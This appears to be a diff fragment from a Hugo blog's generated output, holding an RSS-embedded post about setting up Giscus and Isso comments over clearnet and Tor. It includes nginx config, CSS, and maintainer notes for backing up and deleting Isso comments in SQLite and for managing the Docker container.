|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Cache-Control</span> <span style="color:#e6db74">"public,</span> <span style="color:#e6db74">max-age=31536000,</span> <span style="color:#e6db74">immutable"</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">try_files</span> $uri =<span style="color:#ae81ff">404</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><p>Reload and smoke test:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&&</span> sudo systemctl reload nginx
|
||||
</span></span><span style="display:flex;"><span>curl -I http://<your-onion-host>/isso/js/embed.min.js <span style="color:#75715e"># expect 200</span>
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>If you ever point <code>data-isso</code> to a <strong>different origin</strong>, add CORS headers on that vhost. For same-origin (<code>data-isso="/isso"</code>), you don’t need CORS.</p></blockquote>
|
||||
<h2 id="small-css-tweaks-one-color-across-lightdark--spacing">Small CSS tweaks (one color across light/dark + spacing)</h2>
|
||||
<p>I wanted the same blue for <strong>reply / edit / delete</strong> links and for <strong>Submit / Preview</strong> buttons, in both themes, and a little spacing:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-css" data-lang="css"><span style="display:flex;"><span><span style="color:#75715e">/* put this in your site CSS */</span>
|
||||
</span></span><span style="display:flex;"><span>:<span style="color:#a6e22e">root</span> { --btn-blue: <span style="color:#ae81ff">#2563eb</span>; } <span style="color:#75715e">/* adjust to taste */</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Isso form buttons */</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-post-action</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"submit"</span><span style="color:#f92672">],</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-post-action</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">"preview"</span><span style="color:#f92672">]</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">background</span>: <span style="color:#a6e22e">var</span>(<span style="color:#f92672">--</span>btn<span style="color:#f92672">-</span><span style="color:#66d9ef">blue</span>) <span style="color:#75715e">!important</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">color</span>: <span style="color:#ae81ff">#fff</span> <span style="color:#75715e">!important</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">border</span>: <span style="color:#66d9ef">none</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">padding</span>: <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">.75</span><span style="color:#66d9ef">rem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">border-radius</span>: <span style="color:#ae81ff">.4</span><span style="color:#66d9ef">rem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">cursor</span>: <span style="color:#66d9ef">pointer</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* link actions under comments */</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-comment-footer</span> <span style="color:#f92672">a</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">color</span>: <span style="color:#a6e22e">var</span>(<span style="color:#f92672">--</span>btn<span style="color:#f92672">-</span><span style="color:#66d9ef">blue</span>) <span style="color:#75715e">!important</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">margin-right</span>: <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span>; <span style="color:#75715e">/* gives "edit" and "delete" some breathing room */</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">text-decoration</span>: <span style="color:#66d9ef">none</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-comment-footer</span> <span style="color:#f92672">a</span>:<span style="color:#a6e22e">hover</span> { <span style="color:#66d9ef">text-decoration</span>: <span style="color:#66d9ef">underline</span>; }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* keep name/email/website stacked, slightly larger */</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> .<span style="color:#a6e22e">isso-input-wrapper</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">display</span>: <span style="color:#66d9ef">block</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">margin</span>: <span style="color:#ae81ff">.35</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">0</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">label</span> { <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">.95</span><span style="color:#66d9ef">rem</span>; }
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"text"</span><span style="color:#f92672">],</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"email"</span><span style="color:#f92672">],</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"url"</span><span style="color:#f92672">]</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">100</span><span style="color:#66d9ef">%</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">1</span><span style="color:#66d9ef">rem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">padding</span>: <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">.6</span><span style="color:#66d9ef">rem</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><h2 id="what-changed-the-fixes-i-actually-made">What changed (the fixes I actually made)</h2>
|
||||
<ol>
|
||||
<li>
|
||||
<p><strong>Theme correctness for Giscus.</strong><br>
|
||||
PaperMod doesn’t add <code>.light</code>—it only toggles <code>.dark</code> and stores <code>pref-theme</code>. I now:</p>
|
||||
<ul>
|
||||
<li>read <code>localStorage.pref-theme</code> first,</li>
|
||||
<li>fall back to class/data-theme, then</li>
|
||||
<li>fall back to OS preference.<br>
|
||||
I also re-theme the Giscus iframe on every toggle via <code>postMessage</code>.</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Isso over Tor.</strong><br>
|
||||
On the <code>.onion</code> vhost, I moved the proxy to a <code>^~ /isso/</code> block so it beats the static regex. That fixed the <code>404</code> on <code>/isso/js/embed.min.js</code>.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>UI polish.</strong></p>
|
||||
<ul>
|
||||
<li>Unified button/link color across themes,</li>
|
||||
<li>ensured “edit”/“delete” aren’t touching,</li>
|
||||
<li>kept the author/email/website inputs <strong>stacked</strong>, and</li>
|
||||
<li>left <strong>Submit</strong>/<strong>Preview</strong> styled and grouped.</li>
|
||||
</ul>
|
||||
</li>
|
||||
</ol>
|
||||
<h2 id="sanity-check">Sanity check</h2>
|
||||
<ul>
|
||||
<li>Toggle the theme: Giscus switches between <code>noborder_light</code> and <code>dark_dimmed</code> without reload.</li>
|
||||
<li>Open DevTools → Network on onion: <code>/isso/js/embed.min.js</code> loads with <strong>200</strong>.</li>
|
||||
<li>Switcher buttons swap panels instantly; Giscus only loads when clicked.</li>
|
||||
</ul>
|
||||
<h2 id="8-final-notes">8) Final notes!</h2>
|
||||
<p>I could not fully fix the style of Isso.
|
||||
CSS is not easy… drat!</p>
|
||||
<p>I don’t think anyone actually reads the blog, let alone comment on it.
|
||||
But it felt cool to have a comment section and also RSS for it.
|
||||
I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^</p>
|
||||
<h1 id="admin-note--delete-all-isso-comments-for-a-single-post">Admin note — Delete all <strong>Isso</strong> comments for a single post</h1>
|
||||
<p>This note is for future me: how to remove every comment tied to one post in <strong>Isso</strong>.<br>
|
||||
Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or <code>.onion</code> — because this operates directly on the database.</p>
|
||||
<hr>
|
||||
<h2 id="tldr-host-with-sqlite">TL;DR (host with SQLite)</h2>
|
||||
<blockquote>
|
||||
<p>Replace the placeholders for <code>DB</code> and <code>POST_URI</code> first.</p></blockquote>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># 0) Variables — edit these two lines for your setup</span>
|
||||
</span></span><span style="display:flex;"><span>DB<span style="color:#f92672">=</span><span style="color:#e6db74">"/var/lib/isso/comments.db"</span> <span style="color:#75715e"># path to your Isso SQLite DB (check isso.conf: [general] dbpath)</span>
|
||||
</span></span><span style="display:flex;"><span>POST_URI<span style="color:#f92672">=</span><span style="color:#e6db74">"/posts/skin_routine/"</span> <span style="color:#75715e"># the post's URI as stored by Isso (often just the path)</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 1) Backup (always do this!)</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">".backup '</span><span style="color:#66d9ef">$(</span>dirname <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">/comments.</span><span style="color:#66d9ef">$(</span>date +%F-%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.backup.sqlite3'"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 2) Inspect: find the thread row and preview the comments</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.headers on
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.mode column
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SELECT id, uri FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%';
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SELECT id, tid, created, author, text
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">FROM comments
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%')
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ORDER BY created DESC
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">LIMIT 25;
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 3) Delete all comments for that post (thread)</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">DELETE FROM comments
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%');
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 4) (Optional) Remove the now-empty thread row too</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">DELETE FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%';
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">VACUUM;
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 5) Done. Isso usually picks this up automatically.</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If you're containerized and want to be safe:</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># docker restart <isso_container_name></span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="if-running-isso-in-docker">If running Isso in Docker</h2>
|
||||
<p>Open a shell in the container, then run the same steps:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -it <isso_container_name> /bin/sh
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Inside the container:</span>
|
||||
</span></span><span style="display:flex;"><span>DB<span style="color:#f92672">=</span><span style="color:#e6db74">"/db/comments.db"</span> <span style="color:#75715e"># or /data/comments.db, check your image/volume mapping</span>
|
||||
</span></span><span style="display:flex;"><span>POST_URI<span style="color:#f92672">=</span><span style="color:#e6db74">"/posts/skin_routine/"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">".backup '/db/comments.</span><span style="color:#66d9ef">$(</span>date +%F-%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.backup.sqlite3'"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"SELECT id, uri FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%';"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%');"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"DELETE FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%'; VACUUM;"</span>
|
||||
</span></span><span style="display:flex;"><span>exit
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Optionally restart the container:</span>
|
||||
</span></span><span style="display:flex;"><span>docker restart <isso_container_name>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="notes--gotchas">Notes & gotchas</h2>
|
||||
<ul>
|
||||
<li><strong>Find the real DB path</strong>: In <code>isso.conf</code> (often <code>/etc/isso/isso.conf</code> or within your container at <code>/config/isso.conf</code>), look for:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#66d9ef">[general]</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">dbpath</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">/var/lib/isso/comments.db</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li><strong>What goes in <code>POST_URI</code>?</strong> Isso stores a <code>uri</code> string per thread. With the default embed config, it’s usually the <strong>path</strong> (<code>/posts/<slug>/</code>). If you’re unsure, list recent threads:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">".headers on"</span> <span style="color:#e6db74">".mode column"</span> <span style="color:#e6db74">"SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li><strong>Clearnet vs <code>.onion</code></strong>: If you load the same post under multiple origins <em>and</em> your embed setup stores full origins, you may have <strong>multiple thread rows</strong>. The <code>LIKE</code> query above deliberately matches any uri containing your <code>POST_URI</code> to catch those.</li>
|
||||
<li><strong>Rollback</strong>: To undo, stop Isso (optional), replace the DB with your backup (<code>comments.YYYY-MM-DD-HHMMSS.backup.sqlite3</code>), and start Isso again.</li>
|
||||
<li><strong>HTTP API option</strong>: Isso supports <code>DELETE /<comment_id></code> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.</li>
|
||||
<li><strong>Safety</strong>: Always run a backup first, and <strong>preview with the SELECT</strong> before you run the DELETE.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="one-liners-for-the-impatient">One-liners for the impatient</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>DB<span style="color:#f92672">=</span><span style="color:#e6db74">"/var/lib/isso/comments.db"</span>; POST_URI<span style="color:#f92672">=</span><span style="color:#e6db74">"/posts/skin_routine/"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">".backup '</span><span style="color:#66d9ef">$(</span>dirname <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">/comments.</span><span style="color:#66d9ef">$(</span>date +%F-%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.backup.sqlite3'"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%');"</span>
|
||||
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">"</span>$DB<span style="color:#e6db74">"</span> <span style="color:#e6db74">"DELETE FROM threads WHERE uri LIKE '%' || '</span>$POST_URI<span style="color:#e6db74">' || '%'; VACUUM;"</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<p><strong>Isso container: quick checks & fixes for future me! (thank past me later ^^)</strong></p>
|
||||
<p><strong>Find the container</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker ps -a --format <span style="color:#e6db74">'table {{.ID}} {{.Names}} {{.Status}} {{.Ports}}'</span> | grep -i isso
|
||||
</span></span></code></pre></div><p><strong>Inspect basic state</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker inspect -f <span style="color:#e6db74">'Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}'</span> isso
|
||||
</span></span></code></pre></div><p><strong>Logs</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker logs --tail<span style="color:#f92672">=</span><span style="color:#ae81ff">200</span> isso
|
||||
</span></span><span style="display:flex;"><span>docker logs -f isso
|
||||
</span></span></code></pre></div><p><strong>Ports & reachability</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker port isso
|
||||
</span></span><span style="display:flex;"><span>sudo ss -ltnp | grep <span style="color:#e6db74">':8080 '</span>
|
||||
</span></span><span style="display:flex;"><span>curl -i http://127.0.0.1:8080/
|
||||
</span></span></code></pre></div><p><strong>Restart policy (keep it running)</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker inspect -f <span style="color:#e6db74">'{{.HostConfig.RestartPolicy.Name}}'</span> isso
|
||||
</span></span><span style="display:flex;"><span>docker update --restart unless-stopped isso
|
||||
</span></span></code></pre></div><p><strong>Start/stop the container</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker start isso
|
||||
</span></span><span style="display:flex;"><span>docker stop isso
|
||||
</span></span></code></pre></div><p><strong>Who/what stopped it (events)</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker events --since 24h --filter container<span style="color:#f92672">=</span>isso
|
||||
</span></span></code></pre></div><p><strong>Common config issue: duplicate options/sections</strong>
|
||||
If logs show DuplicateOptionError or DuplicateSectionError, fix <code>/config/isso.cfg</code> (remove duplicate <code>[server]</code> blocks or duplicate <code>public-endpoint</code>).</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nl -ba /config/isso.cfg | sed -n <span style="color:#e6db74">'1,120p'</span>
|
||||
</span></span><span style="display:flex;"><span>grep -n <span style="color:#e6db74">'^\[server\]'</span> /config/isso.cfg
|
||||
</span></span><span style="display:flex;"><span>grep -n <span style="color:#e6db74">'^public-endpoint'</span> /config/isso.cfg
|
||||
</span></span></code></pre></div><p><strong>Using Docker Compose</strong> <em>(run these in the directory with your compose file)</em></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose ps
|
||||
</span></span><span style="display:flex;"><span>docker compose logs --tail<span style="color:#f92672">=</span><span style="color:#ae81ff">200</span> isso
|
||||
</span></span><span style="display:flex;"><span>docker compose up -d isso
|
||||
</span></span></code></pre></div><p><strong>If the container doesn’t exist (create/recreate)</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker image ls | grep -i isso
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest
|
||||
</span></span></code></pre></div><p><strong>Optional: exclude from auto-updaters (like Watchtower)</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker update --label-add com.centurylinklabs.watchtower.enable<span style="color:#f92672">=</span>false isso
|
||||
</span></span></code></pre></div><p><em>This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.</em></p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/new_features.md">Markdown</a> ·
|
||||
<a href="/sources/posts/new_features.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
|
||||
jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
|
||||
A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
|
||||
dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
|
||||
Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
|
||||
EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
|
||||
W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
|
||||
eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
|
||||
Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
|
||||
KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
|
||||
qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
|
||||
GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
|
||||
=9k+S
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
|
||||
gpg --verify new_features.md.asc new_features.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/meta/page/1/index.html
Normal file
2
public-clearnet/categories/meta/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/meta/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/meta/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/meta/"></head></html>
|
||||
15
public-clearnet/categories/notes/index.html
Normal file
15
public-clearnet/categories/notes/index.html
Normal file
File diff suppressed because one or more lines are too long
230
public-clearnet/categories/notes/index.xml
Normal file
230
public-clearnet/categories/notes/index.xml
Normal file
|
|
@ -0,0 +1,230 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Notes on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/notes/</link><description>Recent content in Notes on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Fri, 19 Sep 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/notes/index.xml" rel="self" type="application/rss+xml"/><item><title>Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod</title><link>https://blog.alipour.eu/posts/tor_clearnet_blog/</link><pubDate>Fri, 19 Sep 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/tor_clearnet_blog/</guid><description>How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy.</description><content:encoded><![CDATA[<blockquote>
|
||||
<p>TL;DR — The site is built once (Hugo project), <strong>published twice</strong>:</p>
|
||||
<ul>
|
||||
